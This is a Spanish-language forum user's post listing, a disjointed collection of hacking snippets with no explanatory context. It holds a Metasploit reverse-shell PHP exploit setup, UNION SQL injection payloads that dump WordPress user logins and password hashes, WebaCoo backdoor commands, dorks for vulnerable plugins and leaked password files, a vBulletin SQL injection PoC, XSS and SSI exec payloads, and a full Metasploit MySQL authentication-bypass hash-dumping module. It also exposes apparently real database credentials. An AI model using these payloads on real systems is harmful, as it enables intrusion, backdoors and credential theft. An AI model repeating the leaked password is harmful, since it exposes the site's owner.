Esta sección te permite ver todos los mensajes escritos por este usuario. Ten en cuenta que sólo puedes ver los mensajes escritos en zonas a las que tienes acceso en este momento.
<body onLoad="while(true) alert('XSS');">
nmap -sS -T4 -A 192.168.1.38
use exploit/windows/http/xampp_webdav_upload_php
set payload php/meterpreter/reverse_tcp
set Lhost 192.168.1.36 (Nuestra IP)
set RHOST 192.168.1.38 (IP Victima)
exploit
########## Database Info ##########
$db_server = 'localhost';
$db_name = 'remoteex_foro';
$db_user = 'remoteex_user';
$db_passwd = '(~R9bLM0rT6X';
./jigsaw.rb -i 234590 -r facebook
facebook.com
ls
cat facebook.csv
./jigsaw.rb -i 234590 -r facebook
facebook.com
ls
cat facebook.csv
intext:"Proudly powered by WordPress. "
intext:"Powered by WordPress. "inurl: /wordpress/wp-content/plugins/http://www.exploit-db.com/search/?action=search&filter_page=1&filter_description=wordpress&filter_author=&filter_platform=0&filter_type=0&filter_port=&filter_osvdb=&filter_cve=inurl:/wp-content/plugins/easy-comment-uploads/upload-form.php
inurl:/wp-content/plugins/count-per-day/notes.php
inurl:/wp-content/plugins/custom-content-type-manager/upload_form.php
http://www.sitio-web.com/wp-content/uploads/[YYYY]/[MM]/shell.php.jpginurl:/wp-content/plugins/hd-webplayer/playlist.php?videoid=
videoid=2+/*!UNION*/+/*!SELECT*/+group_concat(ID,0x3a,user_login,0x3a,user_pass,0x3b),2,3,4,5,6,7,8,9,10,11+from+wp_users
/*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_email,0x3b),2,3,4,5,6,7,8,9,10,11 from wp_users
/*!UNION*/+/*!SELECT*/group_concat(ID,0x3a,user_login,0x3a,user_activation_key,0x3b),2,3,4,5,6,7,8,9,10,11 from wp_usershttp://www.sitio-web.com/wp-login.php?action=rp&key=Token&login=Usuariohttp://www.sitio-web.com/wp-login.php?action=rp&key=RXr7T7lplszV&login=admin
inurl:"/wp-includes/
http://www.vulnerability-lab.com/dev/wp-includes/admin-bar.php
./webacoo.pl -g -o backdoor.php./webacoo.pl -g -o raw-backdoor.php -f 4 -r./webacoo.pl -t -u http://127.0.0.1/backdoor.php./webacoo.pl -t -u http://127.0.0.1/backdoor.php -c "Test-Cookie" -d "TtT"./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p 127.0.0.1:8080./webacoo.pl -t -u http://10.0.1.13/backdoor.php -p user:password:10.0.1.8:3128./webacoo.pl -t -u http://example.com/backdoor.php -p tor -l webacoo_log.txt./webacoo.pl -g -o backdoor.php
./webacoo.pl -t -u http://www.sitio-web.com/backdoor.php
mysql-cli <IP(:port)> <user> <pass> (ex. 'mysql-cli 10.0.1.11 admin pAsS')psql-cli <IP(:port)> <db> <user> <pass> (ex. 'psql-cli 10.0.1.12 testDB root pAsS')upload <local_file> <remote_dir> (ex. 'upload exploit.c /tmp/')download <remote_file> (ex. 'download config.php')stealth <webroot_dir> (ex. 'stealth /var/www/html')
download configuration.php 
mysql-cli 127.0.0.1:3306 db_user db_password
# Exploit Title: vBulletin Yet Another Awards System 4.0.2 Time Based SQL Injection 0day
# Google Dork: inurl:awards.php intext:"powered by vbulletin"
# Date: 29/08/12
# Exploit Author: Backsl@sh/Dan
# Software Link: http://www.vbulletin.org/forum/showthread.php?t=232684
# Version: 4.0.2+
The vulnerability exists within /request_award.php.
$vbulletin->input->clean_array_gpc('p', array(
'award_id' => TYPE_UINT,
//'award_request_name' => TYPE_STR,
//'award_request_recipient_name' => TYPE_STR,
'award_request_reason' => TYPE_STR,
'award_request_uid' => TYPE_UNIT,
));
> $award_request_uid = $vbulletin->GPC['award_request_uid'];
> > $db->query_write("INSERT INTO " . TABLE_PREFIX . "award_requests (award_req_uid, award_rec_uid, award_req_aid, award_req_reason) VALUES ('$award_request_uid', '$award_request_uid', '$award[award_id]', '". $db->escape_string
($vbulletin->GPC['award_request_reason']) ."')");
$award_request_uid is used within an insert into statement, unsanitized.
- POC -
http://[site].com/request_award.php
POST: do=submit&name=award_id=[VALID REWARD ID]&award_request_reason=0&award_request_uid=0[SQL]&submit=Submit
Thanks. Have fun.
http://www.bugabuse.net/
<html><head></head><body><applet archive="JARNOMBRE.jar" code="applet1.class" width="1" height="1"></applet></body></html><html><head></head><body><applet archive="test.jar" code="applet1.class" width="1" height="1"></applet></body></html>
http://developer.cisco.com/web/axl/wikidocs?p_p_id=1_WAR_wikinavigationportlet_INSTANCE_i9JW&p_p_lifecycle=0&p_p_state=normal&p_p_mode=view&p_p_col_id=column-1&p_p_col_count=1&p_r_p_185834411_nodeId=803208&p_r_p_185834411_title="><script>alert(TioSamCL-Security)</script>1=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-0
0 _ __ __ __ 1
1 /' \ __ /'__`\ /\ \__ /'__`\ 0
0 /\_, \ ___ /\_\/\_\ \ \ ___\ \ ,_\/\ \/\ \ _ ___ 1
1 \/_/\ \ /' _ `\ \/\ \/_/_\_<_ /'___\ \ \/\ \ \ \ \/\`'__\ 0
0 \ \ \/\ \/\ \ \ \ \/\ \ \ \/\ \__/\ \ \_\ \ \_\ \ \ \/ 1
1 \ \_\ \_\ \_\_\ \ \ \____/\ \____\\ \__\\ \____/\ \_\ 0
0 \/_/\/_/\/_/\ \_\ \/___/ \/____/ \/__/ \/___/ \/_/ 1
1 \ \____/ >> Exploit database separated by exploit 0
0 \/___/ type (local, remote, DoS, etc.) 1
1 1
0 [x] Official Website: http://www.1337day.com 0
1 [x] Support E-mail : mr.inj3ct0r[at]gmail[dot]com 1
0 0
1 1
0-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-=-==-=-=-=-1
| |
| NASA.GOV - Cross Site Scripting Persistent |
--------------------------------------------------------------------------
# Exploit Title : NASA Curiosity - Cross Site Scripting Persistent
# Date : 21-08-2012
# Author : Caleb Bucker (Independent Security Researcher)
# Vendor : NASA
# Category : misc
# URL Vendor : http://www.nasa.gov/
# Tested on : BackTrack 5 r3 - Mozilla Firefox
# Contact : [email protected]
# Website : www.calebbucker.blogspot.com
# Greetings to : CL-Security All Members And Friend's
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
SCREENSHOT:
http://img341.imageshack.us/img341/4395/snapshot408.png
http://img837.imageshack.us/img837/7151/snapshot409.png
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
VULNERABILITY LOCATION:
www.nasa.gov/mission_pages/msl/news/msl20120817.html[code]
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
CROSS SITE SCRIPTING:
www.nasa.gov/mission_pages/msl/news/msl20120817.html"><script>alert('CalebBucker')</script> %2522%253E%253Cscript%253Ealert%2528%2527CalebBucker%2527%2529%253C%252fscript%253E
++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
HOW TO USE:
"><script>alert('XSS")</script> send it through, works on GET nothing else is really special about it.
so double encoded it will look like this:
%2522%253E%253Cscript%253Ealert%2528%2527XSS%2527%2529%253C%252fscript%253E
+++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++++
Enjoy!
# 1337day.com [2012-08-22]
java -jar Xelenium.jar
1. Conky - Para ver el uso del sistema y stats
2. Promiscuous_on_off - Script para activar el modo promiscuo de manera intermitente durante wlan0
3. xterm RootShell - el acceso de root shell en el directorio /home/usuario/MyDocs/pwnphone
4. Macchanger - Rolls dirección MAC de la tarjeta inalámbrica wlan0 y los cambios de nombre de host a "DellPC"
5. Nmap - Versión de línea de Comando de Nmap
6. Zenmap - Versión GUI de Nmap
7. InjectionON - Carga los controladores necesarios para la inyección de paquetes inalámbrico
8. InjectionOFF - Descarga los controladores de la inyección de paquetes y vuelve a cargar los controladores normales wifi
9. Airodump-ng - Rápido acceso a la tecnología inalámbrica sniffer, ejecutando: airodump-ng wlan0
10. Kismet - Wireless Sniffer / herramienta de mapeo
11. Wifite - Herramienta de ataque Wirelles automatizado
12. Wifizoo - Herramienta inalámbrica para olfatear las sesiones activas en el wifi
13. Grimwepa - Hherramienta en GUI que se utilizan con la suite aircrack-ng - WEP / WPA cracking
14. Wepbuster - Automáticamente rompe las redes inalámbricas de WEP en el rango (¡cuidado!)
15. El modo promiscuo en el botón de off - Activa el modo promiscuo en wlan0
16. Wireshark - acceso directo del escritorio - analizador de paquetes / sniffer
17. Tshark - La versión CMD línea de Wireshark - Se ejecuta en wlan0
18. Tcpdump - Ejecutar tcpdump en wlan0 (tcpdump-s0-n-i wlan0)
19. Sslstrip - Herramienta utilizada para despojar a los sitios web de SSL y oler las credenciales
20. Scapy - Interfaz Scapy - la manipulación de paquetes interactivos
21. Nikto - Herramienta Web de exploración de vulnerabilidades
22. SET - Kit de herramientas de Ingeniería Social
23. Metasploit - la versión del CMD msf3 (msfconsole)
24. Metasploit-GUI - versión GUI de msf3
25. Fasttrack - Herramienta automatizada pentesting
26. EttercapNG-Curses - Version Curses de EttercapNG
27. EttercapNG-GUI - versión GUI de EttercapNG
root@TioSam:~# cd Desktop
root@TioSam:~/Desktop# cd WordPress
root@TioSam:~/Desktop/WordPress# ls
README WP
root@TioSam:~/Desktop/WordPress# ./WP http://www.noticiasdehackers.com
<!--#echo var="DATE_LOCAL" -->
Mostrara la Fecha
<!--#exec cmd="whoami"-->
Mostrara que el usuario se esta ejecutando en el servidor (Windows)
<pre><!--#exec cmd="ls -a" --></pre><!--#exec cmd="ls -a" --></pre> (Linux)
Mostrara todos los archivos en el directorio
<!-- #exec cmd="dir" --> (Windows)
Mostrara todos los archivos en el directorio
inurl:bin/Cklb/ - Best Dork
inurl:login.shtml
inurl:login.shtm
inurl:login.stm
inurl:search.shtml
inurl:search.shtm
inurl:search.stm
inurl:forgot.shtml
inurl:forgot.shtm
inurl:forgot.stm
inurl:register.shtml
inurl:register.shtm
inurl:register.stm
inurl:login.shtml?page=
<?php
/*
* getCF.php
* I got tired of looking up the DNS records of these various hosts
* to find the real IP of a CloudFlare protected Server.
* www.bigkesh.com
* orgy[at]bigkesh[dot]com
* Usage: php getCF.php domain.com
* Usage2: www.yoursite.com/getCF.php?find=domain.com
*/
if (!isset($argv[1]) && !isset($_GET['find']))
{
die("Argument needs to be a valid hostname.\n");
}
$lookupArr = array("mail.", "direct.", "direct-connect.", "cpanel.", "ftp.");
foreach ($lookupArr as $lookupKey)
{
if (isset($_GET['find']))
{
$newline = "<br />";
$lookupHost = $lookupKey . $_GET['find'];
}
else
{
$newline = "\n";
$lookupHost = $lookupKey . $argv[1];
}
$foundHost = gethostbyname($lookupHost);
if ($foundHost == $lookupHost)
{
echo "{$lookupHost} had no DNS record.{$newline}";
}
else
{
echo "{$lookupHost} = {$foundHost}{$newline}";
}
}
?>
$ for i in `seq 1 1000`; do mysql -u root --password=bad -h 127.0.0.1 2>/dev/null; done##
# $Id$
##
##
# This file is part of the Metasploit Framework and may be subject to
# redistribution and commercial restrictions. Please see the Metasploit
# web site for more information on licensing and terms of use.
# http://metasploit.com/
##
require 'msf/core'
class Metasploit3 < Msf::Auxiliary
include Msf::Exploit::Remote::MYSQL
include Msf::Auxiliary::Report
include Msf::Auxiliary::Scanner
def initialize
super(
'Name' => 'MYSQL CVE-2012-2122 Authentication Bypass Password Dump',
'Version' => '$Revision$',
'Description' => %Q{
This module exploits a password bypass vulnerability in MySQL in order
to extract the usernames and encrypted password hashes from a MySQL server.
These hashes ares stored as loot for later cracking.
},
'Authors' => [
'TheLightCosine <thelightcosine[at]metasploit.com>', # Original hashdump module
'jcran' # Authentication bypass bruteforce implementation
],
'References' => [
['CVE', '2012-2122'],
['OSVDB', '82804']
],
'DisclosureDate' => 'Jun 09 2012',
'License' => MSF_LICENSE
)
deregister_options('PASSWORD')
end
def run_host(ip)
# Keep track of results (successful connections)
results = []
# Username and password placeholders
username = datastore['USERNAME']
password = Rex::Text.rand_text_alpha(rand(8)+1)
# Do an initial check to see if we can log into the server at all
begin
socket = connect(false)
x = ::RbMysql.connect({
:host => rhost,
:port => rport,
:user => username,
:password => password,
:read_timeout => 300,
:write_timeout => 300,
:socket => socket
})
x.connect
results << x
print_good "#{rhost}:#{rport} The server accepted our first login as #{username} with a bad password"
rescue RbMysql::HostNotPrivileged
print_error "#{rhost}:#{rport} Unable to login from this host due to policy (may still be vulnerable)"
return
rescue RbMysql::AccessDeniedError
print_good "#{rhost}:#{rport} The server allows logins, proceeding with bypass test"
rescue ::Interrupt
raise $!
rescue ::Exception => e
print_error "#{rhost}:#{rport} Error: #{e}"
return
end
# Short circuit if we already won
if results.length > 0
@mysql_handle = results.first
return dump_hashes
end
#
# Threaded login checker
#
max_threads = 16
cur_threads = []
# Try up to 1000 times just to be sure
queue = [*(1 .. 1000)]
while(queue.length > 0)
while(cur_threads.length < max_threads)
# We can stop if we get a valid login
break if results.length > 0
# keep track of how many attempts we've made
item = queue.shift
# We can stop if we reach 1000 tries
break if not item
# Status indicator
print_status "#{rhost}:#{rport} Authentication bypass is #{item/10}% complete" if (item % 100) == 0
t = Thread.new(item) do |count|
begin
# Create our socket and make the connection
s = connect(false)
x = ::RbMysql.connect({
:host => rhost,
:port => rport,
:user => username,
:password => password,
:read_timeout => 300,
:write_timeout => 300,
:socket => s,
:db => nil
})
print_status "#{rhost}:#{rport} Successfully bypassed authentication after #{count} attempts"
results << x
rescue RbMysql::AccessDeniedError
rescue Exception => e
print_status "#{rhost}:#{rport} Thread #{count}] caught an unhandled exception: #{e}"
end
end
cur_threads << t
end
# We can stop if we get a valid login
break if results.length > 0
# Add to a list of dead threads if we're finished
cur_threads.each_index do |ti|
t = cur_threads[ti]
if not t.alive?
cur_threads[ti] = nil
end
end
# Remove any dead threads from the set
cur_threads.delete(nil)
::IO.select(nil, nil, nil, 0.25)
end
# Clean up any remaining threads
cur_threads.each {|x| x.kill }
if results.length > 0
print_good("#{rhost}:#{rport} Successful exploited the authentication bypass flaw, dumping hashes...")
@mysql_handle = results.first
return dump_hashes
end
print_error("#{rhost}:#{rport} Unable to bypass authentication, this target may not be vulnerable")
end
def dump_hashes
# Grabs the username and password hashes and stores them as loot
res = mysql_query("SELECT user,password from mysql.user")
if res.nil?
print_error("#{rhost}:#{rport} There was an error reading the MySQL User Table")
return
end
# Create a table to store data
tbl = Rex::Ui::Text::Table.new(
'Header' => 'MysQL Server Hashes',
'Indent' => 1,
'Columns' => ['Username', 'Hash']
)
if res.size > 0
res.each do |row|
next unless (row[0].to_s + row[1].to_s).length > 0
tbl << [row[0], row[1]]
print_good("#{rhost}:#{rport} Saving HashString as Loot: #{row[0]}:#{row[1]}")
end
end
this_service = nil
if framework.db and framework.db.active
this_service = report_service(
:host => rhost,
:port => rport,
:name => 'mysql',
:proto => 'tcp'
)
end
report_hashes(tbl.to_csv, this_service) unless tbl.rows.empty?
end
# Stores the Hash Table as Loot for Later Cracking
def report_hashes(hash_loot,service)
filename= "#{rhost}-#{rport}_mysqlhashes.txt"
path = store_loot("mysql.hashes", "text/plain", rhost, hash_loot, filename, "MySQL Hashes", service)
print_status("#{rhost}:#{rport} Hash Table has been saved: #{path}")
end
end
filetype:txt & intext:"email=" & intext:"pass=" & intext:"charset_test="
Usage: plecost-0.2.2-9-beta.py [options] [ URL | [-l num] -G]
Google search options:
-l num : Limit number of results for each plugin in google.
-G : Google search mode
Options:
-n : Number of plugins to use (Default all - more than 7000).
-c : Check plugins only with CVE associated.
-R file : Reload plugin list. Use -n option to control the size (This take several minutes)
-o file : Output file. (Default "output.txt")
-i file : Input plugin list. (Need to start the program)
-s time : Min sleep time between two probes. Time in seconds. (Default 10)
-M time : Max sleep time between two probes. Time in seconds. (Default 20)
-t num : Number of threads. (Default 1)
-h : Display help. (More info: http://iniqua.com/labs/)
Examples:
* Reload first 5 plugins list:
plecost -R plugins.txt -n 5
* Search vulnerable sites for first 5 plugins:
plecost -n 5 -G -i plugins.txt
* Search plugins with 20 threads, sleep time between 12 and 30 seconds for www.example.com:
plecost -i plugin_list.txt -s 12 -M 30 -t 20 -o results.txt www.example.com
root@TioSam:~# cd /pentest/web/fimap
root@TioSam:/pentest/web/fimap# ls
baseClass.py baseTools.pyc config crawler.py fimap.py language.py massScan.pyc plugins report.pyc targetScanner.py
baseClass.pyc codeinjector.py config.py crawler.pyc googleScan.py language.pyc plugininterface.py README singleScan.py targetScanner.pyc
baseTools.py codeinjector.pyc config.pyc doc googleScan.pyc massScan.py plugininterface.pyc report.py singleScan.pyc xgoogle
root@TioSam:/pentest/web/fimap# python fimap.py
fimap v.08.1 by Iman Karim - Automatic LFI/RFI scanner and exploiter
Use -h for some help.
root@TioSam:/pentest/web/fimap#
<!-- PHP -->
phpinfo();
<!-- ENDPHP -->
http://www.site.com/faq.php
